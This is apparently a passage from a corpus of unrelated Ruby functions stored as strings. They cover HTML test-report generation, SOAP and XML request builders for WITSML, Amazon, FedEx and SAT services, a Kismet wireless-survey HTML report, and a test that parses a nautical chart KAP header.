extra_report_header.split(\"\\n\")\n details.each do |line|\n report_header += <<-EOS\n <tr><td>#{line}</td></tr>\n EOS\n end\n end\n test_suite_time_in_secs = Time.parse(test_report[:test_suite_completed_time].to_s) - Time.parse(test_report[:test_suite_start_time].to_s)\n\n report_header += <<-EOS\n <tr><td>Test suite started On: #{test_report[:test_suite_start_time]}</td></tr>\n <tr><td>Duration: #{test_suite_time_in_secs} secs</td></tr>\n <tr><td>Test suite status: <font id=#{status(test_report[:test_suite_result_status])}>#{test_report[:test_suite_result_status]}</font></td></tr>\n </table>\n <br>\n EOS\n report_tc_summary = <<-EOS\n <table id=\"tcs\">\n <tr>\n <th >Test Case</th>\n <th >Test Case Status</th>\n </tr>\n EOS\n\n test_report[:test_cases].each do |tc_id, tc|\n report_tc_summary += <<-EOS\n <tr>\n <td><a href=\"##{tc_id}\">#{tc_id}: #{tc[:title]}</a></td><td><font id=#{status(tc[:test_case_result_status])}>#{tc[:test_case_result_status]}</font></td>\n </tr>\n EOS\n end\n\n report_tc_summary += <<-EOS\n </table>\n <br>\n <h4>#{test_report[:test_suite_description]}</h4>\n <br>\n </center>\n EOS\n test_cases = \"\"\n test_report[:test_cases].each do |tc_id, tc|\n test_case = <<-EOS\n <div id=\"container\" style=\"word-break: break-all;width:100%;\">\n <div id=\"header\">\n <h4>\n <p><a name=\"#{tc_id}\">#{tc_id}: #{tc[:title]}</a></p>\n <p>#{tc[:description]}</p>\n <p>Test result status: <font id=#{status(tc[:test_case_result_status])}>#{tc[:test_case_result_status]}</font></p>\n </h4>\n </div>\n <div id=\"content\">\n <h4>\n Steps to reproduce\n </h4>\n EOS\n\n tc[:test_steps].each do |step_id, step|\n test_steps = <<-EOS\n <p id=\"steps\">#{step_id}</p>\n EOS\n\n if step.has_key?(:action) || step.has_key?(:mt_url)\n test_steps += <<-EOS\n <p style=\"word-break: break-all;\" width=900px >URL: #{step[:action]}</p>\n EOS\n end\n\n if step.has_key?(:dynamic_params)\n test_steps += <<-EOS\n <p id=\"dp\">Dynamic Parameters</p>\n EOS\n\n exclusion_term = \"set @kadu_response\"\n step[:dynamic_params].each do |parameter, expression|\n expression = exclusion_term if expression.to_s.include?(exclusion_term)\n test_steps += <<-EOS\n <p>#{parameter} = #{expression}</p>\n EOS\n end\n end\n\n if step.has_key?(:validation_steps)\n\n test_steps += <<-EOS\n <p id=\"validations\">\n Validations\n </p>\n <table id=\"checkpoint\">\n EOS\n\n step[:validation_steps].each do |vstep, result|\n steps = <<-EOS\n <tr>\n <td colspan=\"2\" width=\"90%\">\n <p>#{vstep}</p>\n <p>#{result[\"test_result_message\"]}</p>\n </td>\n <td width=\"10%\" rowspan=\"1\" align=\"center\"><font id=#{status(result[\"test_result_status\"])}>#{result[\"test_result_status\"]}</font></td>\n </tr>\n EOS\n test_steps += steps\n end\n\n test_steps += <<-EOS\n </table>\n EOS\n\n end\n test_case += test_steps\n end\n test_cases += test_case\n test_cases += <<-EOS\n </div>\n <div id=\"footer\">\n <a href=\"##{replace_space_by_dash(test_report[:test_suite_title])}\">back to test suite</a>&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"#summary\">back to summary</a>\n\t </div>\n </div>\n <br>\n EOS\n end\n\n report_footer = <<-EOS\n <br>\n <hr>\n <br>\n </body>\n </html>\n EOS\n\n html_report += report_header + report_tc_summary + test_cases + report_footer\n\n html_report\n end", "def excel\n begin\n @xml = Builder::XmlMarkup.new(:indent => 1)\n select_reqs\n\n headers['Content-Type'] = \"application/vnd.ms-excel\"\n headers['Content-Disposition'] = 'attachment; filename=\"Requirements.xls\"'\n headers['Cache-Control'] = ''\n render(:layout=>false)\n rescue Exception => e\n render(:text=>\"<b>#{e}</b><br>#{e.backtrace.join(\"<br>\")}\")\n end\n end", "def get_from_store(template, optionsIn=nil, headers={})\n wmlTypeIn = extract_type(template)\n queryIn = escape_xml(template)\n soap_action = 'http://www.witsml.org/action/120/Store.WMLS_GetFromStore'\n headers['SOAPAction'] = soap_action\n envelope_middle = <<END\n <ns0:WMLS_GetFromStore SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <WMLtypeIn>#{wmlTypeIn}</WMLtypeIn>\n <QueryIn>#{queryIn}</QueryIn>\n <OptionsIn>#{optionsIn || @optionsIn}</OptionsIn>\n <CapabilitiesIn>#{@capabilitiesIn}</CapabilitiesIn>\n </ns0:WMLS_GetFromStore>\nEND\n return send envelope_middle, headers\n end", "def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @product_softwares }\n end\n end", "def html_report\n begin\n require 'ruport'\n rescue LoadError\n abort(\"Couldn't load ruport, suggest that gem install ruport should help\")\n end\n\n unless @options.report_file\n html_report_file_name = 'Kismet-Wireless-Report-' + Time.now.to_s + '.html'\n end\n\n unless @options.report_file =~ /html$/\n html_report_file_name = @options.report_file + '.html'\n end\n\n @report = File.new(html_report_file_name,'w+')\n html_report_header\n html_report_stats\n \n if @options.create_map\n @report << '<hr /><br /><br />'\n html_report_map_body\n end\n @report << '<hr /><br /><br />'\n html_report_inf\n @report << '<hr /><br /><br />'\n html_report_adhoc\n @report << '<hr /><br /><br />'\n html_report_probe\n @report << \"</body>\"\n @report << \"</html>\"\n end", "def head\n %Q[<?xml version=\"1.0\" encoding=\"UTF-8\"?>]\n end", "def assemble_xml_file\n write_xml_declaration do\n # Write the xdr:wsDr element.\n write_drawing_workspace do\n if @embedded\n index = 0\n @drawings.each do |drawing|\n # Write the xdr:twoCellAnchor element.\n index += 1\n write_two_cell_anchor(index, drawing)\n end\n else\n # Write the xdr:absoluteAnchor element.\n write_absolute_anchor(1)\n end\n end\n end\n end", "def render_xml\n end", "def order_acknowledgement(hash)\n # example use: order_acknowledgement(amazon_order_id: '112-2598432-0713054', merchant_order_id: 336, status: 'Success', items: {'47979057082330' => '438'})\n # order_acknowledgement(amazon_order_id: '112-2598432-0713054', merchant_order_id: 336, status: 'Success')\n # order acknowledgment is done by sending an XML \"feed\" to Amazon\n # as of this writing, XML schema docs are available at:\n # https://images-na.ssl-images-amazon.com/images/G/01/rainier/help/XML_Documentation_Intl.pdf\n # https://images-na.ssl-images-amazon.com/images/G/01/mwsportal/doc/en_US/bde/MWSFeedsApiReference._V372272627_.pdf\n xml = \"\"\n builder = Builder::XmlMarkup.new(:indent => 2, :target => xml)\n builder.instruct! # <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n builder.AmazonEnvelope(:\"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\", :\"xsi:noNamespaceSchemaLocation\" => \"amzn-envelope.xsd\") do |env|\n env.Header do |head|\n head.DocumentVersion('1.01')\n head.MerchantIdentifier(@connection.seller_id)\n end\n env.MessageType('OrderAcknowledgement')\n env.Message do |mes|\n mes.MessageID('1')\n mes.OrderAcknowledgement do |oa|\n oa.AmazonOrderID(hash[:amazon_order_id])\n oa.MerchantOrderID(hash[:merchant_order_id]) unless hash[:merchant_order_id].blank?\n oa.StatusCode(hash[:status])\n (hash[:items] || {}).each do |item_code, merchant_item_id|\n oa.Item do |item|\n item.AmazonOrderItemCode(item_code)\n item.MerchantOrderItemID(merchant_item_id) unless merchant_item_id.blank?\n end\n end\n end\n end\n end\n\n submit_feed('_POST_ORDER_ACKNOWLEDGEMENT_DATA_', xml)\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TrackRequest(:xmlns => \"http://fedex.com/ws/track/v5\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n # add_request_timestamp(xml)\n add_track_request(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end", "def send_xml_api_request(markup)\n result =\n if login_type == \"legacy\"\n send_request(markup, \"#{self.api_url}/XMLAPI#{@session_id}\", 'api')\n else\n send_oauth_request(markup, \"#{self.api_url}/XMLAPI\", 'api')\n end\n\n doc = Hash.from_xml(REXML::Document.new(result).to_s)\n\n return doc if silverpop_successful?(doc)\n\n raise_error(doc)\n end", "def addMissingDWHR(elements)\n locationText = \"HouseFile/House/Components/HotWater/Primary\"\n elements[locationText].add_element(\"DrainWaterHeatRecovery\")\n locationText = \"HouseFile/House/Components/HotWater/Primary/DrainWaterHeatRecovery\"\n elements[locationText].attributes[\"showerLength\"] = \"5.0\"\n elements[locationText].attributes[\"dailyShowers\"] = \"2\"\n elements[locationText].attributes[\"preheatShowerTank\"] = \"false\"\n elements[locationText].attributes[\"effectivenessAt9.5\"] = \"50.0\"\n elements[locationText].add_element(\"Efficiency\", {\"code\"=>\"2\"})\n elements[locationText].add_element(\"EquipmentInformation\")\n elements[locationText].add_element(\"ShowerTemperature\", {\"code\"=>\"1\"})\n elements[locationText].add_element(\"ShowerHead\", {\"code\"=>\"0\"})\n locationText = \"HouseFile/House/Components/HotWater/Primary/DrainWaterHeatRecovery/EquipmentInformation\"\n elements[locationText].add_element(\"Manufacturer\")\n elements[locationText].add_element(\"Model\")\n\n # ASF 05-10-2016: Added default values for manufacturer, model so hthat user can spec \"NA\" in choice file.\n locationText = \"HouseFile/House/Components/HotWater/Primary/DrainWaterHeatRecovery/EquipmentInformation/Manufacturer\"\n elements[locationText].text = \"Generic\"\n locationText = \"HouseFile/House/Components/HotWater/Primary/DrainWaterHeatRecovery/EquipmentInformation/Model\"\n elements[locationText].text = \"2-Medium Efficiency\"\n locationText = \"HouseFile/House/Components/HotWater/Primary/DrainWaterHeatRecovery/ShowerTemperature\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/Components/HotWater/Primary/DrainWaterHeatRecovery/ShowerHead\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\nend", "def xml_decl; end", "def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end", "def headers\n { 'x-apigw-api-id' => tmp_api_id }\n end", "def successful_purchase_response\n <<-XML\n <emattersResponse>\n <emattersRcode>08</emattersRcode>\n <emattersUID>001</emattersUID>\n <emattersAmount>10.99</emattersAmount>\n <emattersAuthCode>4847784</emattersAuthCode>\n <emattersCardType>VISA</emattersCardType>\n <emattersTrxnReference>00000011120</emattersTrxnReference>\n <emattersMainID>0099887766554433</emattersMainID>\n </emattersResponse>\n XML\n end", "def _render_soap(result, options)\n @namespace = NAMESPACE\n @operation = soap_action = request.env['wash_out.soap_action']\n action_spec = self.class.soap_actions[soap_action][:out].clone\n result = { 'value' => result } unless result.is_a? Hash\n result = HashWithIndifferentAccess.new(result)\n inject = lambda {|data, spec|\n spec.each do |param|\n if param.struct?\n inject.call(data[param.name], param.map)\n else\n param.value = data[param.name]\n end\n end\n }\n\n soap_response = render_to_string :template => 'wash_with_soap/response',\n :locals => { :result => inject.call(result, action_spec) }\n\n if options[:ws_security] == \"encrypt\" || options[:ws_security] == \"sign\" || options[:ws_security] == \"sign_encrypt\"\n soap_response = ws_security_apply(soap_response, options)\n end\n \n\n\n if is_exception?(soap_response)\n Rails.logger.error \"PHP_SCRIPT_ERROR #{ws_security_response}\"\n render :template => 'wash_with_soap/error', :status => 500,\n :locals => { :error_message => \"php_script_error\" }\n else\n render :xml => soap_response\n end\n end", "def render_xml\n @xml = Builder::XmlMarkup.new\n @xml.gauge do\n @xml.license( @license ) unless @license.nil?\n render_extra_components \n render_components\n end\n @xml.to_s.gsub( /<to_s\\/>/, '' ) \n end", "def html_report_adhoc\n @log.debug(\"Starting to report ad-hoc networks, there were \" + @adhoc_networks.length.to_s + \"to report\")\n @report << '<div id=\"title\">Adhoc Networks</div><br /><br />'\n @adhoc_networks.each do |ssid,bssid|\n tab = Ruport::Data::Table(%w[bssid channel cipher cloaked? manufacturer first_seen last_seen max_signal_dbm])\n ssid = \"Hidden or Blank\" if ssid.length < 1\n @report << '<div id=\"title\">SSID: ' + ssid + ' </div>'\n bssid.each do |net,info|\n if @options.gps_data[net]\n point = net\n @log.debug(\"attempting to add link\")\n link_info = '+(' + ssid + ' | Ciphers: ' + info['cipher'] + ' | Channel: ' + info['channel'] + ')'\n url = 'http://maps.google.co.uk/maps?q=' + @options.gps_data[point]['lat'].to_s + ',' + @options.gps_data[point]['lon'].to_s + link_info\n net = '<a href=\"' + url + '\">' + point + '</a>'\n end\n tab << [net, info['channel'], info['cipher'], info['cloaked'], info['manufacturer'], info['first_seen'], info['last_seen'], info['max_signal_dbm']]\n end\n @report << tab.to_html\n @report << \"<br /> <br />\"\n end\n end", "def update_in_store(template, optionsIn=nil, headers={})\n wmlTypeIn = extract_type(template)\n queryIn = escape_xml(template)\n soap_action = 'http://www.witsml.org/action/120/Store.WMLS_UpdateInStore'\n headers['SOAPAction'] = soap_action\n envelope_middle = <<END\n <ns0:WMLS_UpdateInStore SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <WMLtypeIn>#{wmlTypeIn}</WMLtypeIn>\n <XMLin>#{queryIn}</XMLin>\n <OptionsIn>#{optionsIn || @optionsIn}</OptionsIn>\n <CapabilitiesIn>#{@capabilitiesIn}</CapabilitiesIn>\n </ns0:WMLS_UpdateInStore>\nEND\n return send envelope_middle, headers\n end", "def assemble_xml_file # :nodoc:\n return unless @writer\n\n # Prepare format object for passing to Style.rb.\n prepare_format_properties\n\n write_xml_declaration do\n # Write the root workbook element.\n write_workbook do\n # Write the XLSX file version.\n write_file_version\n\n # Write the fileSharing element.\n write_file_sharing\n\n # Write the workbook properties.\n write_workbook_pr\n\n # Write the workbook view properties.\n write_book_views\n\n # Write the worksheet names and ids.\n @worksheets.write_sheets(@writer)\n\n # Write the workbook defined names.\n write_defined_names\n\n # Write the workbook calculation properties.\n write_calc_pr\n\n # Write the workbook extension storage.\n # write_ext_lst\n end\n end\n end", "def export_xml(version)\n \n # Make sure all of the dates are in the right format\n @item['date'] = Time.now.utc.iso8601\n for section in ['offer', 'programme', 'trailer']\n case section\n when 'offer'\n label = 'window'\n else\n label = 'license'\n end\n if @item.has_key?(section)\n for period in ['start', 'end']\n @item[section][label][period] = @item[section][label][period].utc.iso8601\n end\n end\n end\n\n case version\n when :fpe2_5 \n template = ERB.new(Vpi2_5.get_xml_template(), nil, '-')\n when :fpe3_0\n template = ERB.new(Vpi3_0.get_xml_template(), nil, '-')\n else\n exit(\"Feature Package version \" + version.to_s + \" not supported\")\n end\n \n template.result(binding) \n end", "def set_soap_headers\n self.headers['Content-Type'] = \"text/xml;charset=utf-8\"\n self.headers['SOAPAction'] = \"\\\"\\\"\"\n return \"headers set to soap\"\n end", "def xml_final_output\n\n parametros = ActiveSupport::OrderedHash.new\n parametros[\"xmlns\"] = \"http://cancelacfd.sat.gob.mx\"\n parametros[\"xmlns:xsd\"] = \"http://www.w3.org/2001/XMLSchema\"\n parametros[\"xmlns:xsi\"] = \"http://www.w3.org/2001/XMLSchema-instance\"\n parametros[\"Fecha\"] = @fecha\n parametros[\"RfcEmisor\"] = @rfcemisor\n \n @certificate = CFDI::Certificado.new @certificate\n \n @builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Cancelacion(parametros) do\n xml.Folios {\n xml.UUID(@uuid)\n }\n xml.Signature({'xmlns' => \"http://www.w3.org/2000/09/xmldsig#\" }) do\n xml.SignedInfo do \n xml.CanonicalizationMethod({'Algorithm' =>\"http://www.w3.org/TR/2001/REC-xml-c14n-20010315\"})\n xml.SignatureMethod({'Algorithm' => \"http://www.w3.org/2000/09/xmldsig#rsa-sha1\"})\n \n xml.Reference({'URI' => \"\"}) do\n \n xml.Transforms do\n xml.Transform({ 'Algorithm' => \"http://www.w3.org/2000/09/xmldsig#enveloped-signature\" })\n end\n \n xml.DigestMethod({ 'Algorithm' => \"http://www.w3.org/2000/09/xmldsig#sha1\" })\n xml.DigestValue(self.digested_canonicalized_data)\n \n end\n \n end\n xml.SignatureValue(self.computed_signed_info)\n xml.KeyInfo do \n xml.X509Data do\n xml.X509IssuerSerial do\n xml.X509IssuerName(@certificate.issuername)\n xml.X509SerialNumber(@certificate.serial)\n end\n xml.X509Certificate(@certificate.data)\n end\n end\n end\n end\n end\n \n CGI::unescapeHTML(@builder.to_xml(:save_with => Nokogiri::XML::Node::SaveOptions::AS_XML).strip.gsub(/\\n/, ''))\n \n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['credentialLevel'] = credential_level unless credential_level.nil?\n xml.tag!('PhysicalVerification', attributes)\n end", "def bank_balance_report\n doc = Hpricot::XML(request.raw_post)\n doc = doc.to_s.gsub(\"&amp;\",\"&\") \n doc = Hpricot::XML(doc) \n # xml = %{\n # <criteria> \n # <str1></str1> \n # <str2>zzzz</str2> \n # <str3></str3> \n # <str4>zzzzzzz</str4> \n # <str5>a</str5> \n # <str6>b</str6> \n # <str7></str7>\n # <str8>zzz</str8> \n # <dt2>2025-12-25</dt2>\n # <str10>zzz</str10> \n # <multiselect1></multiselect1>\n # <multiselect4></multiselect4>\n # <str12>zzz</str12>\n # <str14>z</str14>\n # <str16>zzz</str16>\n # <user_id>1</user_id>\n # <default_request>N</default_request>\n # </criteria> \n # }\n # doc = Hpricot::XML(xml)\n @bank_transactions = GeneralLedger::BankTransactionReport.bank_balance_report(doc)\n # respond_to_action('bank_balance_report') \n render :xml=>'<encoded>'+Base64.encode64(Zlib::Deflate.deflate(@bank_transactions[0]['xmlcol']))+'</encoded>'\n end", "def post_headers\n {\"Content-Type\" => 'text/xml; charset=utf-8'}\n end", "def kap_test\n kap = KAPHeader.new\n kap.readheader(\"!Copyright 1999, Maptech Inc. All Rights Reserved.\nCRR/CERTIFICATE OF AUTHENTICITY\n This electronic chart was produced under the authority of the National\n Oceanic and Atmospheric Administration (NOAA). NOAA is the hydrographic\n office for the United States of America. The digital data provided by NOAA\n from which this electronic chart was produced has been certified by NOAA\n for navigation. 'NOAA' and the NOAA emblem are registered trademarks of\n the National Oceanic and Atmospheric Administration. 'Maptech' and the\n Maptech emblem are registered trademarks of Maptech, Inc. Copyright 1999\n Maptech, Inc. All rights reserved.\nVER/3.0\nBSB/NA=CHESAPEAKE BAY ENTRANCE,NU=558,RA=11547,9767,DU=254\nKNP/SC=80000,GD=NAD83,PR=MERCATOR,PP=37.083,PI=10.000,SP=,SK=0.0000000\n TA=90.0000000,UN=FEET,SD=MEAN LOWER LOW WATER,DX=8.00,DY=8.00\nKNQ/EC=RF,GD=NARC,VC=UNKNOWN,SC=MLLW,PC=MC,P1=UNKNOWN,P2=37.083\n P3=NOT_APPLICABLE,P4=NOT_APPLICABLE,GC=NOT_APPLICABLE,RM=POLYNOMIAL\nCED/SE=70,RE=01,ED=09/12/1998\nNTM/NE=70.00,ND=10/30/1999,BF=ON,BD=10/26/1999\nOST/1\nIFM/4\nRGB/1,0,0,0\nRGB/2,255,255,255\nRGB/3,209,221,239\nRGB/4,221,234,247\nRGB/5,244,232,193\nRGB/6,214,219,201\nRGB/7,219,181,242\nRGB/8,114,114,114\nRGB/9,188,188,188\nRGB/10,150,176,155\nRGB/11,94,153,193\nRGB/12,219,73,150\nDAY/1,0,0,0\nDAY/2,255,255,255\nDAY/3,185,210,240\nDAY/4,214,227,245\nDAY/5,238,223,161\nDAY/6,181,181,123\nDAY/7,219,181,242\nDAY/8,114,114,114\nDAY/9,188,188,188\nDAY/10,38,212,84\nDAY/11,37,138,191\nDAY/12,219,73,150\nDSK/1,0,0,0\nDSK/2,128,128,128\nDSK/3,93,105,120\nDSK/4,107,114,123\nDSK/5,119,112,81\nDSK/6,91,91,62\nDSK/7,110,91,121\nDSK/8,57,57,57\nDSK/9,94,94,94\nDSK/10,19,106,42\nDSK/11,19,69,96\nDSK/12,110,37,75\nNGT/1,55,55,55\nNGT/2,0,0,0\nNGT/3,0,0,38\nNGT/4,0,0,28\nNGT/5,30,21,13\nNGT/6,0,23,12\nNGT/7,17,0,0\nNGT/8,35,35,35\nNGT/9,25,25,25\nNGT/10,1,50,1\nNGT/11,0,55,55\nNGT/12,64,0,64\nNGR/1,0,0,0\nNGR/2,255,0,0\nNGR/3,204,0,0\nNGR/4,230,0,0\nNGR/5,220,0,0\nNGR/6,175,0,0\nNGR/7,213,0,0\nNGR/8,114,0,0\nNGR/9,188,0,0\nNGR/10,120,0,0\nNGR/11,104,0,0\nNGR/12,145,0,0\nGRY/1,0,0,0\nGRY/2,255,255,255\nGRY/3,199,199,199\nGRY/4,226,226,226\nGRY/5,215,215,215\nGRY/6,175,175,175\nGRY/7,203,203,203\nGRY/8,114,114,114\nGRY/9,188,188,188\nGRY/10,120,120,120\nGRY/11,104,104,104\nGRY/12,138,138,138\nPRC/1,0,0,0\nPRC/2,255,255,255\nPRC/3,181,206,240\nPRC/4,213,230,250\nPRC/5,247,239,181\nPRC/6,181,191,123\nPRC/7,219,181,242\nPRC/8,114,114,114\nPRC/9,188,188,188\nPRC/10,38,212,84\nPRC/11,37,138,191\nPRC/12,219,73,150\nPRG/1,0,0,0\nPRG/2,255,255,255\nPRG/3,204,204,204\nPRG/4,230,230,230\nPRG/5,222,222,222\nPRG/6,175,175,175\nPRG/7,213,213,213\nPRG/8,114,114,114\nPRG/9,188,188,188\nPRG/10,120,120,120\nPRG/11,104,104,104\nPRG/12,145,145,145\nREF/1,374,8790,36.8166861111,-76.4500000000\nREF/2,374,695,37.4000111111,-76.4500000000\nREF/3,4505,695,37.4000111111,-76.0783222222\nREF/4,4505,579,37.4083444444,-76.0783222222\nREF/5,4912,579,37.4083444444,-76.0416638889\nREF/6,4912,695,37.4000111111,-76.0416638889\nREF/7,5209,695,37.4000111111,-76.0149944444\nREF/8,5209,668,37.4019444444,-76.0149944444\nREF/9,5283,668,37.4019444444,-76.0083222222\nREF/10,5283,695,37.4000111111,-76.0083222222\nREF/11,7042,695,37.4000111111,-75.8499972222\nREF/12,7042,490,37.4147250000,-75.8499972222\nREF/13,7413,490,37.4147250000,-75.8166555556\nREF/14,7413,695,37.4000111111,-75.8166555556\nREF/15,11118,695,37.4000111111,-75.4833222222\nREF/16,11118,8790,36.8166861111,-75.4833222222\nREF/17,8080,8790,36.8166861111,-75.7566444444\nREF/18,8080,8813,36.8150138889,-75.7566444444\nREF/19,8006,8813,36.8150138889,-75.7633166667\nREF/20,8006,8790,36.8166861111,-75.7633166667\nREF/21,5153,8790,36.8166861111,-76.0199777778\nREF/22,5153,8836,36.8133416667,-76.0199777778\nREF/23,5060,8836,36.8133416667,-76.0283194444\nREF/24,5060,8790,36.8166861111,-76.0283194444\nREF/25,10933,8790,36.8166861111,-75.4999833333\nREF/26,10933,8560,36.8333500000,-75.4999833333\nREF/27,10933,6253,37.0000111111,-75.4999833333\nREF/28,10933,3941,37.1666694444,-75.4999833333\nREF/29,10933,1624,37.3333416667,-75.4999833333\nREF/30,10933,695,37.4000111111,-75.4999833333\nREF/31,9080,8790,36.8166861111,-75.6666500000\nREF/32,9080,8560,36.8333500000,-75.6666500000\nREF/33,9080,6253,37.0000111111,-75.6666500000\nREF/34,9080,3941,37.1666694444,-75.6666500000\nREF/35,9080,1624,37.3333416667,-75.6666500000\nREF/36,9080,695,37.4000111111,-75.6666500000\nREF/37,7228,8790,36.8166861111,-75.8333138889\nREF/38,7228,8560,36.8333500000,-75.8333138889\nREF/39,7228,6253,37.0000111111,-75.8333138889\nREF/40,7228,3941,37.1666694444,-75.8333138889\nREF/41,7228,1624,37.3333416667,-75.8333138889\nREF/42,7228,490,37.4147250000,-75.8333138889\nREF/43,5375,8790,36.8166861111,-75.9999805556\nREF/44,5375,8560,36.8333500000,-75.9999805556\nREF/45,5375,6253,37.0000111111,-75.9999805556\nREF/46,5375,3941,37.1666694444,-75.9999805556\nREF/47,5375,1624,37.3333416667,-75.9999805556\nREF/48,5375,695,37.4000111111,-75.9999805556\nREF/49,3523,8790,36.8166861111,-76.1666472222\nREF/50,3523,8560,36.8333500000,-76.1666472222\nREF/51,3523,6253,37.0000111111,-76.1666472222\nREF/52,3523,3941,37.1666694444,-76.1666472222\nREF/53,3523,1624,37.3333416667,-76.1666472222\nREF/54,3523,695,37.4000111111,-76.1666472222\nREF/55,1671,8790,36.8166861111,-76.3333138889\nREF/56,1671,8560,36.8333500000,-76.3333138889\nREF/57,1671,6253,37.0000111111,-76.3333138889\nREF/58,1671,3941,37.1666694444,-76.3333138889\nREF/59,1671,1624,37.3333416667,-76.3333138889\nREF/60,1671,695,37.4000111111,-76.3333138889\nREF/61,11118,8560,36.8333500000,-75.4833222222\nREF/62,374,8560,36.8333500000,-76.4500000000\nREF/63,11118,6253,37.0000111111,-75.4833222222\nREF/64,374,6253,37.0000111111,-76.4500000000\nREF/65,11118,3941,37.1666694444,-75.4833222222\nREF/66,374,3941,37.1666694444,-76.4500000000\nREF/67,11118,1624,37.3333416667,-75.4833222222\nREF/68,374,1624,37.3333416667,-76.4500000000\nPLY/1,36.8166666667,-76.4500000000\nPLY/2,37.4000000000,-76.4500000000\nPLY/3,37.4000000000,-76.0783333333\nPLY/4,37.4083333333,-76.0783333333\nPLY/5,37.4083333333,-76.0416666667\nPLY/6,37.4000000000,-76.0416666667\nPLY/7,37.4000000000,-76.0150000000\nPLY/8,37.4019444444,-76.0150000000\nPLY/9,37.4019444444,-76.0083333333\nPLY/10,37.4000000000,-76.0083333333\nPLY/11,37.4000000000,-75.8500000000\nPLY/12,37.4147222222,-75.8500000000\nPLY/13,37.4147222222,-75.8166666667\nPLY/14,37.4000000000,-75.8166666667\nPLY/15,37.4000000000,-75.4833333333\nPLY/16,36.8166666667,-75.4833333333\nPLY/17,36.8166666667,-75.7566666667\nPLY/18,36.8150000000,-75.7566666667\nPLY/19,36.8150000000,-75.7633333333\nPLY/20,36.8166666667,-75.7633333333\nPLY/21,36.8166666667,-76.0200000000\nPLY/22,36.8133333333,-76.0200000000\nPLY/23,36.8133333333,-76.0283333333\nPLY/24,36.8166666667,-76.0283333333\nDTM/0.0000000000,0.0000000000\nCPH/0.0000000000\nWPX/2,863264.4957,11420.23114,-85.46756208,1.913941167,-0.4081181078\n 0.7362163163\nWPY/2,390032.0953,69.56409751,-6745.589267,0.4669253601,0.0367153316\n -96.0547565\nPWX/2,-76.48368342,8.999135076e-005,5.758392982e-009,-1.392859319e-012\n -2.377189159e-013,-3.432372134e-013\nPWY/2,37.44988807,-3.111799225e-009,-7.171936009e-005,2.694372983e-013\n -1.725045227e-014,-3.594145418e-011\nERR/1,0.0395099814,0.1453734568,0.0000106128,0.0000035393\nERR/2,0.2568631181,0.1909729033,0.0000135084,0.0000230797\nERR/3,0.2741345061,0.0861261497,0.0000060346,0.0000246567\nERR/4,0.2686635828,0.0312145515,0.0000025324,0.0000241637\nERR/5,0.1452865095,0.0345549325,0.0000027703,0.0000130843\nERR/6,0.1399402606,0.0827745526,0.0000057959,0.0000126025\nERR/7,0.4574537708,0.0811248175,0.0000056780,0.0000411483\nERR/8,0.4562435934,0.1430947875,0.0000100925,0.0000410389\nERR/9,0.3011454875,0.1427864003,0.0000100706,0.0000270834\nERR/10,0.3023504002,0.0808159566,0.0000056561,0.0000271924\nERR/11,0.3723051299,0.0856845822,0.0000060026,0.0000335090\nERR/12,0.3806629821,0.0522721431,0.0000033386,0.0000342629\nERR/13,0.0373658667,0.0562993191,0.0000036259,0.0000033487\nERR/14,0.0455235020,0.0896937462,0.0000062887,0.0000040845\nERR/15,0.0838977644,0.1868453183,0.0000132139,0.0000075364\nERR/16,0.0966772515,0.1205425621,0.0000088179,0.0000086710\nERR/17,0.0824056347,0.0390765628,0.0000030177,0.0000074121\nERR/18,0.0818353321,0.1509363346,0.0000111398,0.0000073614\nERR/19,0.2449596538,0.1498203351,0.0000110606,0.0000220367\nERR/20,0.2455254028,0.0379601536,0.0000029384,0.0000220870\nERR/21,0.0428919326,0.0265733996,0.0000021336,0.0000038726\nERR/22,0.0436772242,0.2497880776,0.0000183422,0.0000039423\nERR/23,0.3327634719,0.2504511931,0.0000183899,0.0000299530\nERR/24,0.3319895661,0.0272354908,0.0000021812,0.0000298842\nERR/25,0.1121062566,0.1135798831,0.0000083225,0.0000101088\nERR/26,0.1193099468,0.2279827579,0.0000166458,0.0000107518\nERR/27,0.1688627289,0.1144423425,0.0000074904,0.0000151927\nERR/28,0.1775175278,0.1594268132,0.0000118409,0.0000159778\nERR/29,0.1452711190,0.3247700367,0.0000227542,0.0000130831\nERR/30,0.1209193080,0.1795258089,0.0000126926,0.0000108875\nERR/31,0.2409699573,0.0581966085,0.0000043778,0.0000216726\nERR/32,0.2348997396,0.2834680027,0.0000205979,0.0000211309\nERR/33,0.1966831937,0.0579372615,0.0000034646,0.0000177062\nERR/34,0.1993644420,0.1019019128,0.0000077412,0.0000179396\nERR/35,0.2429478428,0.3833148414,0.0000269279,0.0000218549\nERR/36,0.2718344884,0.1205730390,0.0000084892,0.0000244597\nERR/37,0.2687489734,0.0287539061,0.0000022840,0.0000241722\nERR/38,0.2736857376,0.3130126734,0.0000226990,0.0000246127\nERR/39,0.3005662362,0.0273727714,0.0000012898,0.0000270217\nERR/40,0.2865491295,0.0703176204,0.0000054925,0.0000257704\nERR/41,0.2316289257,0.4159190210,0.0000292507,0.0000208351\nERR/42,0.1899498524,0.0541574746,0.0000034733,0.0000170764\nERR/43,0.2969855982,0.0252507946,0.0000020389,0.0000267342\nERR/44,0.2931823065,0.3166177549,0.0000229515,0.0000263951\nERR/45,0.2776380441,0.02